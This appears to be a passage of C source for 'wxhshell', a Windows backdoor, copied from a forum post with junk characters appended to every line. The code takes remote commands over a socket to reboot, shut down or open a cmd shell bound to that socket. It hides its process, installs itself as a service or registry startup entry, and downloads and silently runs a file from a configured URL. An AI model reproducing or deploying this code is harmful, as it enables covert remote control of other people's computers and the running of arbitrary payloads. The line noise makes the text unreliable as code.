5J?bE?X  
    switch(cmd[0]) { 01UqDdoj  
  *yL|}  
  // 帮助 #a/n5c&6/  
  case '?': { s= 3EBh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;e`D#khB  
    break; tOu90gu  
  } bEEJVF0  
  // 安装 EXv\FUzo  
  case 'i': { |F8;+nAVF#  
    if(Install()) iW1$!l>v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c4FOfH|  
    else }39M_4a&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2{ jtQlc  
    break; @#G6z`,  
    } )1X' W  
  // 卸载 oX%PsS  
  case 'r': { hqwz~Ky}  
    if(Uninstall()) :8p2Jxm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y)@oo=oG  
    else ;+aDjO2(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z|oA{VxW>  
    break; vV\/pu8  
    } hO:)=}+H  
  // 显示 wxhshell 所在路径 Cf WK6>  
  case 'p': { !>"INmz  
    char svExeFile[MAX_PATH]; z22|Kv;w  
    strcpy(svExeFile,"\n\r"); -wG[>Y  
      strcat(svExeFile,ExeFile); Wb*T   
        send(wsh,svExeFile,strlen(svExeFile),0); )dzjz%B)  
    break; s%0[DO3NV  
    } K!$\REs  
  // 重启 reD[j,i&t.  
  case 'b': { 7csl1|U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x 1 R!  
    if(Boot(REBOOT)) ^$Me#ls!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QWIOim-  
    else { H/ B^N,oi  
    closesocket(wsh); l[x`*+ON:2  
    ExitThread(0); )f_"`FH0d  
    } &].1[&M]  
    break; XEe+&VQmY  
    } f;qKrw  
  // 关机 AyI}LQm]u  
  case 'd': { Fg}5V,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #L)4 |  
    if(Boot(SHUTDOWN)) z; z'`A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Va&k4  
    else { P^d . ,  
    closesocket(wsh); pCud` :o"  
    ExitThread(0); bvxxE/?Ni  
    } /:c,v-  
    break; E]e[Ty1  
    } PrYWha=c-  
  // 获取shell e"&9G}.f  
  case 's': { 4s+J-l  
    CmdShell(wsh); f<t*#]<  
    closesocket(wsh); ]nr BmKB  
    ExitThread(0); )]e d;V  
    break; c Dh4@V  
  } :."n@sA@  
  // 退出 N*4IxY'vX/  
  case 'x': { '/]Aaf@U8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vpr @  
    CloseIt(wsh); =dw*B  
    break; "8Wc\YDh  
    } 07WIa@Q  
  // 离开 5]O LV1Xt  
  case 'q': { Ph!NY i,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @'| 6lG  
    closesocket(wsh); \crb&EgID  
    WSACleanup(); UBk 5O&  
    exit(1); Y_iF$ m/R  
    break; >C d&K9H  
        } { 'mY>s 7  
  } 'a*IZb-M  
  } !:e qPpz  
C%>7mz-v5  
  // 提示信息 6iWuBsal  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uSjMqfK  
} 20)Il:x  
  } 9@B+$~:}7  
K gX)fj  
  return; Us5 JnP5  
} N!,l4!M\N  
t |hmEHUk  
// shell模块句柄 Mw. +0R!T  
int CmdShell(SOCKET sock) _C\b,D}p  
{ W~FA9Jd'Z  
STARTUPINFO si; m+"%Jd{q  
ZeroMemory(&si,sizeof(si)); ja2]VbB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y<XDR:]A,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U\{Z{F%8  
PROCESS_INFORMATION ProcessInfo; ffVYlNQ7L  
char cmdline[]="cmd"; *1n:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c[$oR,2b13  
  return 0; 0a'y\f:6*  
} HvTQycG  
AF-.Nwp   
// 自身启动模式 &Te:l-x  
int StartFromService(void) KWo)}m*6  
{ :O%O``xT  
typedef struct Me>'QVr  
{ 6z*L9Vy($  
  DWORD ExitStatus; 9[*kpMC  
  DWORD PebBaseAddress; d\f 5\Y  
  DWORD AffinityMask; oSoG&4  
  DWORD BasePriority; Cu]X &l  
  ULONG UniqueProcessId; eC-TZH@  
  ULONG InheritedFromUniqueProcessId; "<WS Es  
}   PROCESS_BASIC_INFORMATION; A UK7a  
:EjIV]e  
PROCNTQSIP NtQueryInformationProcess; +l9avy+P (  
(ni$wjq=z^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9maw+c!~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a#1X)ot  
=bzTfki  
  HANDLE             hProcess; L[K_!^MZ  
  PROCESS_BASIC_INFORMATION pbi; ^cNP ?7g7  
UgP5^3F2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZS-9|EA<  
  if(NULL == hInst ) return 0; w~9gZ&hdp  
f19 i !  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U uys G\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "J9+~)e^!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -|lnJg4  
l;2bBx7vW  
  if (!NtQueryInformationProcess) return 0; uFqH_04  
)dV.A IQ+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <s:Xj  
  if(!hProcess) return 0; 1Zecl);O{  
,^[s4 =3X?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7KEGTKfW  
cD>o(#x]  
  CloseHandle(hProcess); 0uvL,hF  
|EApKxaKD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HaSH0eTw  
if(hProcess==NULL) return 0; DXiD>1(q  
?-VN+ d7  
HMODULE hMod; 4S=lO?\"A  
char procName[255]; nGf@zJDb  
unsigned long cbNeeded; ,|H!b%ZW  
qvscf_%FM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8sg *qQ  
:JS} (  
  CloseHandle(hProcess); 9m6j?CFG}  
i1 &'Zh  
if(strstr(procName,"services")) return 1; // 以服务启动 9o`3g@6z  
Vz*'^=(o&  
  return 0; // 注册表启动 ]_?y[@ZP  
} KfNXX>'  
w.f [)  
// 主模块 YC'~8\x3z  
int StartWxhshell(LPSTR lpCmdLine) *$VurqLn  
{ 1*h7L<#|mQ  
  SOCKET wsl; BP$#a #  
BOOL val=TRUE; Xdt+ \}\  
  int port=0; #4M0%rN  
  struct sockaddr_in door; FS:WbFmc  
k 9rnT)YU  
  if(wscfg.ws_autoins) Install(); Oe`t!&v  
$Stu-l1e a  
port=atoi(lpCmdLine); L ]c9  
L:-lqag!  
if(port<=0) port=wscfg.ws_port; Vm.@qO*=  
?miM15XI  
  WSADATA data; _ GSw\r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e% 6{P  
WKsx|a]U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,6"n5Ks}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K5&C}Ey1  
  door.sin_family = AF_INET; 6^;!9$G|D*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Oy$BR <\  
  door.sin_port = htons(port); (+dRD] |T  
M7,MxwZ0k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JxJntsn  
closesocket(wsl); ^ {f ^WL=  
return 1; NCt sx /C  
} 2]=I'U<E!  
79H+~1Az  
  if(listen(wsl,2) == INVALID_SOCKET) { Q%Q?q)x  
closesocket(wsl); om?CFl  
return 1; g/p9"eBpq  
} <9a_wGs  
  Wxhshell(wsl); "%*lE0Tx  
  WSACleanup(); F*VMS  
shIi,!bZ  
return 0; N'P,QiR,z<  
- oBas4J  
} 9X9zIh]JV  
K"j=_%{  
// 以NT服务方式启动 8p{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PRC)GP&q  
{ 3Lki7QW`  
DWORD   status = 0; Gj`Y2X2r  
  DWORD   specificError = 0xfffffff; j%jd@z ]@  
5dw@g4N %^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pm@Z[g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h\*rv5\M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [.xk  
  serviceStatus.dwWin32ExitCode     = 0; DN':-PK  
  serviceStatus.dwServiceSpecificExitCode = 0; "UGj4^1f  
  serviceStatus.dwCheckPoint       = 0; {JCz^0DV  
  serviceStatus.dwWaitHint       = 0; Fi% W\Y'  
/3 Ix,7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ty0T7D   
  if (hServiceStatusHandle==0) return; *M<BPxh0w]  
2$zq (  
status = GetLastError(); 'oZn<c`  
  if (status!=NO_ERROR) `W$0T;MPF  
{ .L5*E(<K0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J:Y|O-S!  
    serviceStatus.dwCheckPoint       = 0; Jo aDX ,  
    serviceStatus.dwWaitHint       = 0; =#2qX> ?  
    serviceStatus.dwWin32ExitCode     = status; m2q;^o:J  
    serviceStatus.dwServiceSpecificExitCode = specificError; "Xk%3\{P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dN\P&"`  
    return; @*O{*2  
  } yX.5Y|A<  
^x"c0R^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]n]uN~)9  
  serviceStatus.dwCheckPoint       = 0; 4:eq{n  
  serviceStatus.dwWaitHint       = 0; @W\4UX3dK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K1/gJ9+(\  
} '=,rb  
/z)3gsF  
// 处理NT服务事件,比如:启动、停止 ?WQd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r>:L$_]L  
{ A6UdWK  
switch(fdwControl) !E {GcK  
{ YUVc9PV)Ws  
case SERVICE_CONTROL_STOP:  J"Y   
  serviceStatus.dwWin32ExitCode = 0; 3pTS@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B#k3"vk#  
  serviceStatus.dwCheckPoint   = 0; $mI:Im`s  
  serviceStatus.dwWaitHint     = 0; y }&4HrT&  
  { |IX`(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ELrZ8&5G  
  } L>~@9a\jO  
  return; UC+7-y,  
case SERVICE_CONTROL_PAUSE: C*EhexK,}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ua$k^m7m5  
  break; A |taP$ %  
case SERVICE_CONTROL_CONTINUE: >1a \ %G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )`s;~_ZZ  
  break;  [ }p  
case SERVICE_CONTROL_INTERROGATE: x?f0Hk+  
  break; 3Zaq#uA  
}; ]D ?# \|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qb-2QPEB  
} AFINm%\/0  
yxG:\y b  
// 标准应用程序主函数 xgtJl}L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J)$&z*!  
{ +24|_Lx0  
Esz1uty  
// 获取操作系统版本 d DIQ+/mmg  
OsIsNt=GetOsVer(); Y/^[qD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !c4)pMd  
$^vp'^uW>  
  // 从命令行安装 - - i&"  
  if(strpbrk(lpCmdLine,"iI")) Install(); o <D3Y95b  
cyGN3t9`.  
  // 下载执行文件 Evr2|4|O~  
if(wscfg.ws_downexe) { UzU-eyA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <ELziE~>V  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~']&.  
} ZRXI?Jr%  
QmH/yy3.%  
if(!OsIsNt) { 8/Et&TJ`  
// 如果时win9x,隐藏进程并且设置为注册表启动 &*(n<5 wt  
HideProc(); C3 gZ6m  
StartWxhshell(lpCmdLine); Wj&<"Z6'm(  
} I"8d5a}  
else r~Y>+ln.  
  if(StartFromService()) 0NL :z1N-h  
  // 以服务方式启动 }.fL$,7a  
  StartServiceCtrlDispatcher(DispatchTable); F* 3G _V  
else <S\;k@f  
  // 普通方式启动 H_% d3 RI  
  StartWxhshell(lpCmdLine); @@xO+$6  
kF(Ce{;z  
return 0; r+p@X  
}
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只看该作者 1 发表于: 2006-10-10
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